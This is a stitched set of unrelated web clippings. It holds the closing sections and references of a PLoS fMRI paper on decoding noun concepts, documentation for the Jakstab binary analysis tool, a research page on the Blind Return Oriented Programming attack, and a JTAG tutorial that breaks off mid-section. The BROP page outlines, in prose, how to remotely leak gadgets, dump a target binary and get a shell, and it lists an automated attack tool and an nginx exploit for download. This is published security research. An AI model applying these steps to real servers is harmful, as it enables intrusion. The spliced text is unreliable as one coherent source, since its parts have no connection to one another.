excellent matches of locations indicate that each factor corresponds to a
network of cortical areas that co-activate during the factor-related
processing. The previous studies also suggest that each cortical location
associated with a factor is likely to be performing a distinguishable function
from the other locations, although they may all be operating on a similar
representation of the object.

#### Identifiablity of Concepts from Activation

The new findings demonstrate the ability for the first time to accurately
identify the content of a thought generated by a concrete noun in the absence
of a picture, on the basis of the underlying brain activation pattern. Several
alternative classifiers were comparably effective at the classification,
indicating \(by the way that they differ\) that there is more than one set of
voxels \(features\) that contain the relevant information. Previous studies in
thought identification have presented drawings of objects \[14\] or object-
noun pairs \[1\], but human thought is not limited to what we can see or hear;
it extends to ideas that can be referred to in language and in other symbolic
systems such as mathematics. This first demonstration of identification of
symbolically-evoked thoughts opens the possibility of studying the neural
representation of virtually any concept that can be communicated.

#### Commonality

The results importantly revealed a commonality of the neural patterns across
people, permitting concept identification across individuals. This result
establishes for the first time that different brains represent concrete nouns
similarly. The similarity presumably arises from a shared sensorimotor system
and the shared use of the three fundamental dimensions for neurally
representing physical objects. It is important to note, however, that the
location and activation levels did not have to be common across people. It
could have been the case that association area locations are assigned or
recruited more arbitrarily. The new results indicate that not only do people
have concepts in common, but also their brain coding of the concepts is
similar, similar enough to decode one person's concept from other people's
brain activation patterns. This is a remarkable new finding for concepts that
are contemplated without visual input.

#### Generative Model

The study demonstrated the ability to predict what the activation pattern
would be for a previously unseen noun. Prediction goes beyond description
because it entails an understanding of the underlying neurosemantic principles
that relate meaning to brain activation. This demonstration of the model's
generative power indicates considerable promise for extensibility to all other
comparable concrete nouns. The demonstration that it performs well when
trained on individuals distinct from the test subject suggests the potential
for developing a general, person-independent model of word representations in
the human brain \(and using this as a basis to study individual differences\).

#### Future Questions

Although many fascinating questions are raised by these findings, we briefly
mention two that seem answerable in the near future. One such question
concerns the way that two or more words or concepts combine neurally to form a
novel concept, such as the phrase _bird tape_ or the proposition _John likes
Mary_. Perhaps the methods developed here will be applicable to discovering
the neural chemistry of word combinations. The other question concerns
systematic individual differences in the way concepts are represented. For the
participants with the highest identification accuracies, the accuracies were
lower when the classifier was trained on other participants' activation,
indicating that there was some systematic but idiosyncratic structure in the
participant's data. It may be possible that this systematicity can eventually
be understood, in terms of such possible explanations as idiosyncratic
interaction with some of the objects or greater expertise in some of the
object categories. Similarly, there may be systematic differences in concept
representations in special populations, such that participants with autism,
for example, who often have a deficit in social processing, might represent
social concepts differently. Given the new ability to determine much of the
content of a representation, it should be possible to determine what
distinguishes the representations of individuals or special populations.

In summary, the research establishes a new way of describing brain activity,
not just in terms of its anatomical location and its physical characteristics,
but in terms of the informational codes that are being processed in
association with a given item. Second, the work uses the underlying theory for
generative prediction of brain activation, providing a set of hypothesized
principles on which neural encodings of object meanings are based. These new
findings not only establish new knowledge about the neural representations of
meaning, but they also provide an empirical and theoretical foundation for
further investigation of the content of human thought.

### Supporting Information Top

**Text S1.**

Comparing factor analysis outcomes with traditional GLM contrasts for
taxonomic categories.

\(0.03 MB DOC\)

**Figure S1.**

Locations of the multiple voxel clusters associated with the four factors.
Shelter-related voxels are shown in blue, manipulation-related voxels in red,
eating-related in green, and word length in yellow.

\(5.09 MB TIF\)

**Figure S2.**

Taxonomic-category-specific GLM-derived clusters that have matching factor
locations. The clusters that match shelter locations are shown in blue; the
cluster that matches one of the manipulation locations is shown in red, and
the cluster that matches the word-length location is shown in yellow.

\(1.20 MB TIF\)

**Table S1.**

Comparison of the locations of activation in taxonomic-category-based GLM
contrasts to the factor locations.

\(0.12 MB DOC\)

### Acknowledgments Top

We thank the members of the Neurosemantics Research Group for their help with
this project, Kai-Min Chang, Charles Kemp, Dean Pomerleau, and Svetlana
Shinkareva for useful comments on previous versions of this manuscript.

### Author Contributions Top

Conceived and designed the experiments: MAJ TMM. Performed the experiments:
MAJ. Analyzed the data: VLC SA. Contributed reagents/materials/analysis tools:
VLC SA TMM. Wrote the paper: MAJ VLC TMM.

### References Top

  1. Mitchell TM, Shinkareva SV, Carlson A, Chang KM, Malave VL, et al. \(2008\) Predicting human brain activity associated with the meanings of nouns. Science 320: 1191–1195. Find this article online
  2. Hauk O, Johnsrude I, Pulvermuller F \(2004\) Somatotopic representation of action words in human motor and premotor cortex. Neuron 41: 301–307. Find this article online
  3. Romney AK, D'Andrade RG \(1964\) Cognitive Aspects of English kin terms. Amer Anthropologist 66: 146–170. Find this article online
  4. Shepard RN, Cooper LA \(1992\) Representation of colors in the blind, color-blind, and normally sighted. Psych Sci 3: 97–104. Find this article online
  5. Miller GA, Johnson-Laird P \(1987\) Language and perception. Cambridge, , MA: Belknap Press. .
  6. Rips LJ, Shoben EJ, Smith EE \(1973\) Semantic distance and the verification of semantic distance. J Verb Learn Verb Behav 12: 1–20. Find this article online
  7. Fillenbaum S, Rapoport A \(1971\) Structures in the subjective lexicon. San Diego: Academic Press. .
  8. Haxby J, Gobbini M, Furey M, Ishai A, Schouten J, et al. \(2001\) Distributed and overlapping representations of faces and objects in ventral temporal cortex. Science 293: 2425–2430. Find this article online
  9. Cox DD, Savoy RL \(2003\) Functioning magnetic resonance imaging \(fMRI\) “brain reading”: Detecting and classifying distributed patterns of fMRI activity in human visual cortex. NeuroImage 19: 261–270. Find this article online
  10. Hanson SJ, Matsuka T, Haxby JV \(2004\) Combinatorial codes in ventral temporal lobe for object recognition: Haxby \(2001\) revisited: Is there a “face” area? NeuroImage 23: 156–166. Find this article online
  11. Haynes JD, Rees G \(2006\) Decoding mental states from brain activity in humans. Nat Rev Neurosci 7: 523–534. Find this article online
  12. Norman KA, Polyn SM, Detre GJ, Haxby JV \(2006\) Beyond mind-reading: multi-voxel pattern analysis of fMRI data. Trends Cogn Sci 10: 424–430. Find this article online
  13. O'Toole AJ, Jiang F, Abdi H, Pénard N, Dunlop J, et al. \(2007\) Theoretical, statistical, and practical perspectives on pattern-based classification approaches to the analysis of functional neuroimaging data. J Cogn Neurosci 19: 1735–1752. Find this article online
  14. Shinkareva SV, Mason RA, Malave VL, Wang W, Mitchell TM, et al. \(2008\) Using fMRI brain activation to identify cognitive states associated with perception of tools and dwellings. PLoS ONE 3\(1\): e1394. Find this article online
  15. Tzourio-Mazoyer N, Landeau B, Papathanassiou D, Crivello F, Etard O, et al. \(2002\) Automated anatomical labeling of activations in SPM using a macroscopic anatomical parcellation of the MNI MRI single-subject brain. NeuroImage 15: 273–289. Find this article online
  16. Gorsuch RL \(1983\) Factor analysis. \(2nd ed.\). Hillsdale, NJ: Erlbaum. pp. 239–256.
  17. Lewis JW \(2006\) Cortical networks related to human use of tools. Neuroscientist 12: 211–231. Find this article online
  18. Hermsdorfer J, Terlinden G, Muhlau M, Goldenberg G, Wohlschlager AM \(2007\) Neural representations of pantomimed and actual tool use: evidence from an event-related fMRI study. NeuroImage 36: T109–T118. Find this article online
  19. Creem-Regehr SH, Lee JN \(2005\) Neural representations of graspable objects: are tools special? Cogn Brain Res 22: 457–469. Find this article online
  20. Shikata E, Hamzei F, Glauche V, Knab R, Dettmers C, et al. \(2002\) Surface orientation discrimination activates caudal and anterior intraparietal sulcus in humans: An event related fMRI study. J Neurophysiol 85: 1309–1314. Find this article online
  21. Binkofski F, Buccino G, Posse S, Seitz RJ, Rizzolatti G, et al. \(1999\) A fronto-parietal circuit for object manipulation in man: Evidence from an fMRI-study. Europ J Neurosci 11: 3276–3286. Find this article online
  22. Simon O, Mangin J-F, Cohen L, Le Bihan D, Dehaene S \(2002\) Topographical layout of hand, eye, calculation, and language-related areas in the human parietal lobe. Neuron 33: 475–487. Find this article online
  23. Lacquaniti F, Perani D, Guigon E, Bettinardi V, Carrozzo M, et al. \(1997\) Visuomotor transformations for reaching to memorized targets: A PET study. NeuroImage 5: 129–146. Find this article online
  24. Epstein R, Harris A, Stanley D, Kanwisher N \(1999\) The parahippocampal place area: Recognition, navigation, or encoding? Neuron 23: 115–125. Find this article online
  25. Sugiura M, Shah NJ, Zilles K, Fink GR \(2005\) Cortical representations of personally familiar objects and places: functional organization of the human posterior cingulate cortex. J Cogn Neurosci 17: 183–198. Find this article online
  26. Deerwester S, Dumais ST, Furnas GW, Landauer TK, Harshman R \(1990\) Indexing by latent semantic analysis. J Am Soc for Informat Sci 41: 391–407. Find this article online
  27. Biederman I \(1987\) Recognition-by-components: A theory of human image understanding. Psych Rev 94: 115–147. Find this article online

##### Add Your Note \(For Private Viewing\)Post Your Note \(For Public
Viewing\)

Compose Your Note This is a notecorrection What are corrections? Enter your note title Enter your note Enter your note... |  | Declare any competing interests.
  * No, I don't have any competing interests to declare.
  * Yes, I have competing interests to declare \(enter below\):

Enter your competing interests...  
---|---|---  
##### <img src='img/Temp2_6055.png' /> Add a note to this text.

Please follow our guidelines for notes and comments and review our competing
interests policy. Comments that do not conform to our guidelines will be
promptly removed and the user account disabled. The following must be avoided:

  * Remarks that could be interpreted as allegations of misconduct
  * Unsupported assertions or statements
  * Inflammatory or insulting language

##### <img src='img/Temp2_6055.png' /> Add a note to this text.

You must be logged in to add a note to an article. You may log in by clicking
here or cancel this note.

##### <img src='img/Temp2_6055.png' /> Add a note to this text.

You cannot annotate this area of the document. Close

##### <img src='img/Temp2_6055.png' /> Add a note to this text.

You cannot create an annotation that spans different sections of the document;
please adjust your selection.  
Close

Close

######

Close

  1. 
  

##### Rate This Article

Please follow our guidelines for rating and review our competing interests
policy. Comments that do not conform to our guidelines will be promptly
removed and the user account disabled. The following must be avoided:

  1. Remarks that could be interpreted as allegations of misconduct
  2. Unsupported assertions or statements
  3. Inflammatory or insulting language

Compose Your Annotation Insight

  * 1
  * 2
  * 3
  * 4
  * 5

Reliability

  * 1
  * 2
  * 3
  * 4
  * 5

Style

  * 1
  * 2
  * 3
  * 4
  * 5

Enter your comment title Enter your comment Enter your comment...|  | Declare any competing interests.
  * No, I don't have any competing interests to declare.
  * Yes, I have competing interests to declare \(enter below\):

Enter your competing interests...  
---|---|---  
<img src='img/Temp2_6061.png' width='58' height='58' />

All site content, except where otherwise noted, is licensed under a Creative
Commons Attribution License.

  * Privacy Statement
  * Terms of Use
  * Advertise
  * Media Inquiries
  * PLoS in Print
  * Site Map
  * PLoS.org

  * Ambra 0.9.5.1 beta
  * Managed Colocation provided by UnitedLayer.

# Documentation - Jakstab

**Created:**| _11/18/2012 8:19:11 AM_  
---|---  
**Updated:**| _11/18/2012 8:19:11 AM_  
**Author:**| __  
**Tags:**| _Practical Software Verification research_  
  

# Documentation

There is no dedicated documentation at the moment, but Jakstab comes with
relatively thorough Javadoc annotations and comments. The most complete
document describing all aspects of Jakstab is currently my dissertation:

  * Johannes Kinder: Static Analysis of x86 Executables. Technische Universität Darmstadt, 2010. \[ PDF  \]

## Quick Start

### Running Jakstab

Jakstab is invoked via the command line, it comes with both a Windows and a
Unix shell script for setting the correct classpath. The package contains a
set of examples for unit testing, you can try it out on those by running

`jakstab -m input/helloworld.exe`

for a default Bounded Address Tracking run on the helloworld executable, or by
running

`jakstab -m input/jumptable.exe --cpa xfi`

for analyzing a jumptable example with Bounded Address Tracking, forward
expression substitution, and interval analysis. It is still a research
prototype, so all interfaces are likely to change with new versions without
further notice. Documentation is still sparse, but will hopefully improve over
time.

### Outputs

After finishing analysis, Jakstab creates the following files:

  * filename\_jak.asm - A disassembly with all reachable instructions
  * filename\_cfa.dot - A CFG in the intermediate language, instruction by instruction
  * filename\_asmcfg.dot - A CFG of assembly instructions, in basic blocks

### Supported Analyses

The analyses \(CPAs\) that should be working correctly are:

  * Bounded Address Tracking \(x\) \(see FMCAD'10\) 
  * VPC-lifted Bounded Address Tracking \(v\) \(see WCRE'12\)
  * Constant Propagation \(c\)
  * Forward Expression Substitution \(f\)
  * Interval Analysis \(i\)
  * Call Stack Analysis \(s\)
  * K-Set Analysis \(k\)

## Publications

The following publications, sorted chronologically, describe specific aspects
of Jakstab, or applications and extensions of it.

The CAV 2008  tool paper describes an early implementation of Jakstab, which
was based on iterative constant propagation and branch resolution:

  * Johannes Kinder, Helmut Veith. **Jakstab: A Static Analysis Platform for Binaries**. In _Proceedings of the 20th International Conference on Computer Aided Verification \(CAV 2008\)_ , vol. 5123, Lecture Notes in Computer Science, Springer, July 2008, pp. 423–427. \[ DOI  \] \[ PDF  \] 

Our VMCAI 2009  paper introduces a generic framework for disassembly and
control flow reconstruction guided by data flow analysis and defines the
theoretical background for Jakstab. The framework is not fixed in its choice
of domain, but allows to combine control flow reconstruction with any data
flow analysis that provides abstract evaluation of expressions:

  * Johannes Kinder, Helmut Veith, Florian Zuleger. **An Abstract Interpretation-Based Framework for Control Flow Reconstruction from Binaries**. In _Proceedings of the 10th International Conference on Verification, Model Checking, and Abstract Interpretation \(VMCAI 2009\)_ , vol. 5403, Lecture Notes in Computer Science, Springer, January 2009, pp. 214–228. \[ DOI  \] \[ PDF  \] 

In FMCAD 2010 , we give an overview on the Jakstab architecture and describe
Bounded Address Tracking, a practical abstract domain used for control flow
reconstruction and verification of API usage specifications on device driver
binaries:

  * Johannes Kinder, Helmut Veith. **Precise Static Analysis of Untrusted Driver Binaries**. In _Proceedings of the 10th International Conference on Formal Methods in Computer-Aided Design \(FMCAD 2010\)_ , October 2010, pp. 43–50. \[ PDF  \] 

In our paper at VMCAI 2012 , we give a reformulation of control flow
reconstruction using parameterized semantics, and show how it can be extended
to accomodate under-approximations derived from concrete execution traces. A
prototype implementation shows that under-approximations allow to reconstruct
useful CFGs when the over-approximation would have to conservatively over-
approximate indirect jump targets.

  * Johannes Kinder, Dmitry Kravchenko. **Alternating Control Flow Reconstruction**. In _Proceedings of the 13th International Conference on Verification, Model Checking, and Abstract Interpretation \(VMCAI 2012\)_ , vol. 7148, Lecture Notes in Computer Science, Springer, January 2012, pp. 267-282. \[ DOI  \] \[ PDF  \] 

The WCRE 2012  paper proposes a method for using Jakstab to analyze binaries
that have been protected using virtualization-obfuscation.

  * Johannes Kinder. **Towards Static Analysis of Virtualization-Obfuscated Binaries**. In _Proceedings of the 19th Working Conference on Reverse Engineering \(WCRE 2012\)_ , IEEE, October 2012. \[ PDF  \] 

# Blind Return Oriented Programming \(BROP\)

**Created:**| _3/19/2014 10:25:47 PM_  
---|---  
**Updated:**| _3/19/2014 10:25:47 PM_  
**Author:**| __  
**Tags:**| _compiler-building rop_  
  

# Blind Return Oriented Programming \(BROP\)

When hacking software, there are three exploit scenarios:

  1. Open-source \(e.g., Apache\)
  2. Open-binary \(e.g., Internet Explorer\)
  3. Closed-binary and source \(e.g., some proprietary network service\)

This work studies whether it is possible to attack the third case.

The BROP attack makes it possible to write exploits without possessing the
target's binary. It requires a stack overflow and a service that restarts
after a crash. Based on whether a service crashes or not \(i.e., connection
closes or stays open\), the BROP attack is able to construct a full remote
exploit that leads to a shell. The BROP attack remotely leaks enough gadgets
to perform the write system call, after which the binary is transferred from
memory to the attacker's socket. Following that, a standard ROP attack can be
carried out. Apart from attacking proprietary services, BROP is very useful in
targeting open-source software for which the particular binary used is not
public \(e.g., installed from source setups, Gentoo boxes, etc.\).

The attack completes within 4,000 requests \(within minutes\) when tested
against a toy proprietary service, and real vulnerabilities in nginx and
MySQL.

The fundamental problem sometimes seen in servers is that they fork a new
worker process after a crash, without any rerandomization \(e.g., no execve
follows the fork\). nginx for example does this.

The paper describing the work is:

  * A. Bittau, A. Belay, A. Mashtizadeh, D. Mazières, D. Boneh: Hacking Blind. In _Oakland_ 2014\. 

# Attack outline

  1. Break ASLR by "stack reading" a return address \(and canaries\).
  2. Find a "stop gadget" which halts ROP chains so that other gadgets can be found. 
  3. Find the BROP gadget which lets you control the first two arguments of calls.
  4. Find a call to strcmp, which as a side effect sets the third argument to calls \(e.g., write length\) to a value greater than zero.
  5. Find a call to write.
  6. Write the binary from memory to the socket.
  7. Dump the symbol table from the downloaded binary to find calls to dup2, execve, and build shellcode.

# Downloads

Braille

    A fully automated tool that conducts a BROP attack \(from crash to remote shell\) when supplied with an input string that crashes a server due to a stack overflow. 
Optimized nginx BROP exploit

    A generic 64-bit exploit for nginx 1.4.0 that uses BROP, optimized for nginx's case. This also includes an IP fragmentation router to make the attack possible on WANs. nginx does a non-blocking read on a 4096 byte buffer, and typical MTUs are 1500, so IP fragmentation is needed to deliver a large TCP segment that will result in a single read of over 4096 bytes. 
Ali's server

    The toy proprietary service written by a colleague used as a test case in the paper for hacking without neither binary nor source code knowledge.

# JTAG Tutorial

**Created:**| _9/24/2012 12:28:37 PM_  
---|---  
**Updated:**| _9/24/2012 12:28:37 PM_  
**Author:**| __  
**Tags:**| _Embedded Debugging_  
  

|  | 
#  
JTAG Tutorial

Since its introduction as an industry standard in 1990, boundary-scan \(also
known as JTAG\) has enjoyed growing popularity for board level manufacturing
test applications. JTAG has rapidly become the technology of choice for
building reliable high technology electronic products with a high degree of
testability. Due to the low-cost and IC level access capabilities of JTAG, its
use has expanded beyond traditional board test applications into product
design and service.  
  
This article provides a brief overview of the JTAG architecture and the new
technology trends that make using JTAG essential for dramatically reducing
development and production costs, speeding test development through
automation, and improving product quality because of increased fault coverage.
The article also describes the various uses of JTAG and the tools available
today for supporting JTAG technology.

* * *
# Outline

  * What is JTAG? <img src='img/Temp2_4640.gif' width='11' height='11' />  
Overview of the JTAG architecture and the new technology trends that make
using JTAG essential for dramatically reducing development and production
costs. The article also describes the various uses of JTAG and the tools
available today for supporting JTAG technology.

    * History <img src='img/Temp2_4640.gif' width='11' height='11' />  

  * JTAG Architecture <img src='img/Temp2_4640.gif' width='11' height='11' />
    * TAP Interface <img src='img/Temp2_4640.gif' width='11' height='11' />
    * Interface Signals <img src='img/Temp2_4640.gif' width='11' height='11' />
    * Required Test Instructions <img src='img/Temp2_4640.gif' width='11' height='11' />  

  * JTAG Applications <img src='img/Temp2_4640.gif' width='11' height='11' />  
Read how JTAG technology can be applied to the whole product life cycle
including product design, prototype debugging, production, and field service.
This means the cost of the JTAG tools can be amortized over the entire product
life cycle, not just the production phase.

    * Product Development <img src='img/Temp2_4640.gif' width='11' height='11' />
    * Tools Needed <img src='img/Temp2_4640.gif' width='11' height='11' />
    * Production Test <img src='img/Temp2_4640.gif' width='11' height='11' />
    * Functional Test <img src='img/Temp2_4640.gif' width='11' height='11' />
    * Production Test Flow <img src='img/Temp2_4640.gif' width='11' height='11' />
    * Installation <img src='img/Temp2_4640.gif' width='11' height='11' />
    * Considerations <img src='img/Temp2_4640.gif' width='11' height='11' />
  

  * Summary <img src='img/Temp2_4640.gif' width='11' height='11' />   

* * *
What is JTAG? JTAG, as defined by the **IEEE Std.-1149.1 standard**, is an
integrated method for testing interconnects on printed circuit boards \(PCBs\)
that are implemented at the integrated circuit \(IC\) level. The inability to
test highly complex and dense printed circuit boards using traditional in-
circuit testers and bed of nail fixtures was already evident in the mid
eighties. Due to physical space constraints and loss of physical access to
fine pitch components and BGA devices, fixturing cost increased dramatically
while fixture reliability decreased at the same time. A Brief History of JTAG
In the 1980s, the Joint Test Action Group \(JTAG\) developed a specification
for JTAG testing that was standardized in 1990 as the IEEE Std. 1149.1-1990.
In 1993 a new revision to the IEEE Std. 1149.1 standard was introduced
\(titled 1149.1a\) and it contained many clarifications, corrections, and
enhancements. In 1994, a supplement containing a description of the Boundary-
Scan Description Language \(BSDL\) was added to the standard. Since that time,
this standard has been adopted by major electronics companies all over the
world. Applications are found in high volume, high-end consumer products,
telecommunication products, defense systems, computers, peripherals, and
avionics. In fact, due to its economic advantages, some smaller companies that
cannot afford expensive in-circuit testers are using JTAG.  The JTAG test
architecture provides a means to test interconnects between integrated
circuits on a board without using physical test probes. It adds a boundary-
scan cell that includes a multiplexer and latches to each pin on the device.
Boundary-scan cells in a device can capture data from pin or core logic
signals, or force data onto pins. Captured data is serially shifted out and
externally compared to the expected results. Forced test data is serially
shifted into the boundary-scan cells. All of this is controlled from a serial
data path called the scan path or scan chain. Figure 1 depicts the main
elements of a JTAG device. By allowing direct access to nets, JTAG eliminates
the need for a large number of test vectors, which are normally needed to
properly initialize sequential logic. Tens or hundreds of vectors may do the
job that had previously required thousands of vectors. Potential benefits
realized from the use of JTAG are shorter test times, higher test coverage,
increased diagnostic capability and lower capital equipment cost. <img
src='img/Temp2_4643.gif' width='530' height='392' alt='Typical JTAG Device' />  
** Figure 1 - Typical JTAG Device** The principles of interconnect test using
JTAG are illustrated in Figure 2. Figure 2 depicts two JTAG compliant devices,
U1 and U2, which are connected with four nets. U1 includes four outputs that
are driving the four inputs of U2 with various values. In this case, we assume
that the circuit includes two faults: a short between Nets 2 and 3, and an
open on Net 4. We will also assume that a short between two nets behaves as a
wired-AND and an open is sensed as logic 1. To detect and isolate the above
defects, the tester is shifting into the U1 boundary-scan register the
patterns shown in Figure 2 and applying these patterns to the inputs of U2.
The inputs values of U2 boundary-scan register are shifted out and compared to
the expected results. In this case, the results \(marked in red\) on Nets 2,
3, and 4 do not match the expected values and, therefore, the tester detects
the faults on Nets 2, 3, and 4.  JTAG tool vendors provide various types of
stimulus and sophisticated algorithms, not only to detect the failing nets,
but also to isolate the faults to specific nets, devices, and pins. <img
src='img/Temp2_4641.gif' width='410' height='368' alt='Interconnect test
example' />  
**Figure 2 - Interconnect Test Example**

* * *
JTAG Chip Architecture The IEEE-1149.1 standard defines test logic in an
integrated circuit which provides applications to perform:

  * Chain integrity testing
  * Interconnection testing between devices
  * Core logic testing \(BIST\)
  * In-system programming
  * In-Circuit Emulation
  * Functional testing

<img src='img/Temp2_4642.gif' width='350' height='430' alt='JTAG Chip
Architecture' /> JTAG Scan Chain with Multiple Chips <img
src='img/Temp2_4649.gif' width='560' height='359' alt='JTAG Scan Chain with
Multiple Chips' /> JTAG Test Vectors <img src='img/Temp2_4644.gif' width='300'
height='260' alt='JTAG Test Vectors' />

* * *
<img src='img/Temp2_4646.gif' width='100' height='77' alt='JTAG TAP Interface'
/>JTAG TAP Interface \(see  boundary-scan chain tips\)  

* * *
JTAG TAP Interface Signals |  **Abbreviation**|  **Signal**|  **Description**  
---|---|---  
**TCK**|  Test Clock|  Synchronizes the internal state machine operations  
**TMS**|  Test Mode State| Sampled at the rising edge of TCK to determine the
next state  
**TDI**|  Test Data In|  Represents the data shifted into the device's test or
programming logic. It is sampled at the rising edge of TCK when the internal
state machine is in the correct state.  
**TDO**|  Test Data Out|  Represents the data shifted out of the device's test
or programming logic and is valid on the falling edge of TCK when the internal
state machine is in the correct state  
**TRST**|  Test Reset| An optional pin which, when available, can reset the
TAP controller's state machine  
  

* * *
Required Test Instructions

Working in conjunction with the TAP controller is an IR \(Instruction
Register\) providing which type of test to perform. The 1149.1 Standard
requires that all compliant devices must perform the following three
instructions:

  * **EXTEST Instruction**  
The EXTEST instruction performs a PCB interconnect test, places an IEEE 1149.1
compliant device into an external boundary test mode, and selects the boundary
scan register to be connected between TDI and TDO. During EXTEST instruction,
the boundary scan cells associated with outputs are preloaded with test
patterns to test downstream devices. The input boundary cells are set up to
capture the input data for later analysis.  

  * **SAMPLE/PRELOAD Instruction**  
The SAMPLE/PRELOAD instruction allows an IEEE 1149.1 compliant device to
remain in its functional mode and selects the boundary scan register to be
connected between the TDI and TDO pins. During SAMPLE/PRELOAD instruction, the
boundary scan register can be accessed through a data scan operation, to take
a sample of the functional data input/output of the device. Test data can also
be preloaded into the boundary-scan register prior to loading an EXTEST
instruction.  

  * **BYPASS Instruction**  
Using the BYPASS instruction, a device's boundary scan chain can be skipped,
allowing the data to pass through the bypass register. This allows efficient
testing of a selected device without incurring the overhead of traversing
through other devices. The BYPASS instruction allows an IEEE 1149.1 compliant
device to remain in a functional mode and selects the bypass register to be
connected between the TDI and TDO pins. Serial data is allowed to be
transferred through a device from the TDI pin to the TDO pin without affecting
the operation of the device.

* * *
JTAG Applications

While it is obvious that JTAG based testing can be used in the production
phase of a product, new developments and applications of the IEEE-1149.1
standard have enabled the use of JTAG in many other product life cycle phases.
Specifically, JTAG technology is now applied to product design, prototype
debugging and field service as depicted in Figure 3\. This means the cost of
the JTAG tools can be amortized over the entire product life cycle, not just
the production phase.

  
<img src='img/Temp2_4647.gif' width='530' height='262' alt='Product life cycle
support' />  
Figure 3 - Product Life Cycle Support

To facilitate this product life cycle concept, JTAG tool vendors such as
Corelis offer an integrated family of software and hardware solutions for all
phases of a product’s life-cycle. All of these products are compatible with
each other, thus protecting the user’s investment.

* * *
Applying JTAG for Product Development

The ongoing marketing drive for reduced product size, such as portable phones
and digital cameras, higher functional integration, faster clock rates, and
shorter product life-cycle with dramatically faster time-to- market has
created new technology trends. These trends include increased device
complexity, fine pitch components, such as surface-mount technology \(SMT\),
systems-in-package \(SIPs\), multi-chip modules \(MCMs\), ball-grid arrays
\(BGAs\), increased IC pin-count, and smaller PCB traces. These technology
advances, in turn, create problems in PCB development:

  * Many boards include components that are assembled on both sides of the board. Most of the through-holes and traces are buried and inaccessible.
  * Loss of physical access to fine pitch components, such as SMTs and BGAs, makes it difficult to probe the pins and distinguish between manufacturing and design problems.
  * Often a prototype board is hurriedly built by a small assembly shop with lower quality control as compared to a production house. A prototype generally will include more assembly defects than a production unit.
  * When the prototype arrives, a test fixture for the ICT is not available and, therefore, manufacturing defects cannot be easily detected and isolated.
  * Small-size products do not have test points, making it difficult or impossible to probe suspected nodes.
  * Many Complex Programmable Logic Devices \(CPLDs\) and flash memory devices \(in BGA packages\) are not socketed and are soldered directly to the board. 
  * Every time a new processor or a different flash device is selected, the engineer has to learn from scratch how to program the flash memory.
  * When a design includes CPLDs from different vendors, the engineer must use different in-circuit programmers to program the CPLDs.

JTAG technology is the only cost-effective solution that can deal with the
above problems. In recent years, the number of devices that include JTAG has
grown dramatically. Almost every new microprocessor that is being introduced
includes JTAG circuitry for testing and in-circuit emulation. Most of the CPLD
and field programmable array \(FPGA\) manufacturers, such as Altera, Lattice
and Xilinx, to mention a few, have incorporated JTAG logic into their
components, including additional circuitry that uses the JTAG four-wire
interface to program their devices in-system.  
  
As the acceptance of JTAG as the main technology for interconnect testing and
in-system programming \(ISP\) has increased, the various JTAG test and ISP
tools have matured as well. The increased number of JTAG components and mature
JTAG tools, as well as other factors that will be described later, provide
engineers with the following benefits:

  * Easy to implement Design-For- Testability \(DFT\) rules. A list of basic DFT rules is provided later in this article. 
  * Design analysis prior to PCB layout to improve testability.
  * Packaging problems are found prior to PCB layout.
  * Little need for test points.
  * No need for test fixtures.
  * More control over the test process.
  * Quick diagnosis \(with high resolution\) of interconnection problems without writing any functional test code.
  * Program code in flash devices.
  * Design configuration data placement into CPLDs.
  * JTAG emulation and source-level debugging.

* * *
What JTAG Tools are needed?

In the previous section, we listed many of the benefits that a designer enjoys
when incorporating boundary-scan in his product development. In this section
we describe the tools and design data needed to develop JTAG test procedures
and patterns for ISP, followed by a description of how to test and program a
board. We use a typical board as an illustration for the various JTAG test
functions needed. A block diagram of such a board is depicted in Figure 4.

<img src='img/Temp2_4639.gif' width='530' height='358' alt='Typical board with
boundary-scan components' />  
Figure 4 - Typical Board with JTAG Components

A typical digital board with JTAG devices includes the following main
components:

  * Various JTAG components such as CPLDs, FPGAs, Processors, etc., chained together via the boundary-scan path.
  * Non-JTAG components \(clusters\).
  * Various types of memory devices.
  * Flash Memory components.
  * Transparent components such as series resistors or buffers. 

Most of the boundary-scan test systems are comprised of two basic elements:
Test Program Generation and Test Execution. Generally, a Test Program
Generator \(TPG\) requires the netlist of the Unit Under Test \(UUT\) and the
BSDL files of the JTAG components. The TPG automatically generates test
patterns that allow fault detection and isolation for all JTAG testable nets
of the PCB. A good TPG can be used to create a thorough test pattern for a
wide range of designs. For example, ScanExpress TPG typically achieves net
coverage of more than 60%, even though the majority of the PCB designs are not
optimized for boundary-scan testing. The TPG also creates test vectors to
detect faults on the pins of non-scannable components, such as clusters and
memories that are surrounded by scannable devices.  
  
Some TPGs also generate a test coverage report that allows the user to focus
on the non-testable nets and determine what additional means are needed to
increase the test coverage.  
  
Test programs are generated in seconds. For example, when Corelis ScanExpress
TPG™ was used, it took a 3.0 GHz Pentium 4 PC 23 seconds to generate an
interconnect test for a UUT with 5,638 nets \(with 19,910 pins\). This
generation time includes netlist and all other input files processing as well
as test pattern file generation.  
  
Test execution tools from various vendors provide means for executing JTAG
tests and performing in-system programming in a pre-planned specific order,
called a test plan. Test vectors files, which have been generated using the
TPG, are automatically applied to the UUT and the results are compared to the
expected values. In case of a detected fault, the system diagnoses the fault
and lists the failures as depicted in Figure 5. Figure 5 shows the main window
of the Corelis test execution tool, ScanExpress Runner™. ScanExpress Runner
gives the user an overview of all test steps and the results of executed
tests. These results are displayed both for individual tests as well as for
the total test runs executed. ScanExpress Runner provides the ability to add
or delete various test steps from a test plan, or re-arrange the order of the
test steps in a plan. Tests can also be enabled or disabled and the test
execution can be stopped upon the failure of any particular test.  
  
Different test plans may be constructed for different UUTs. Tests within a
test plan may be re-ordered, enabled or disabled, and unlimited different
tests can be combined into a test plan. ScanExpress Runner can be used to
develop a test sequence or test plan from various independent sub-tests. These
sub-tests can then be executed sequentially as many times as specified or
continuously if desired. A sub-test can also program CPLDs and flash memories.
For ISP, other formats, such as SVF, JAM, and STAPL, are also supported.  
  
To test the board depicted in Figure 4, the user must execute a test plan that
consists of various test steps as shown in Figure 5.

<img src='img/Temp2_4638.gif' width='530' height='502' alt='ScanExpress Runner
Main Window' />  
  
Figure 5 - ScanExpress Runner Main Window

The first and most important test is the scan chain infrastructure integrity
test. The scan chain must work correctly prior to proceeding to other tests
and ISP. Following a successful test of the scan chain, the user can proceed
to testing all the interconnections between the JTAG components. If the
interconnect test fails, ScanExpress Runner displays a diagnostic screen that
identifies the type of failure \(such as stuck-at, Bridge, Open\) and lists
the failing nets and pins as shown in Figure 6\. Once the interconnect test
passes, including the testing of transparent components, it makes sense to
continue testing the clusters and the memory devices. At this stage, the
system is ready for in-system programming, which typically takes more time as
compared to testing.

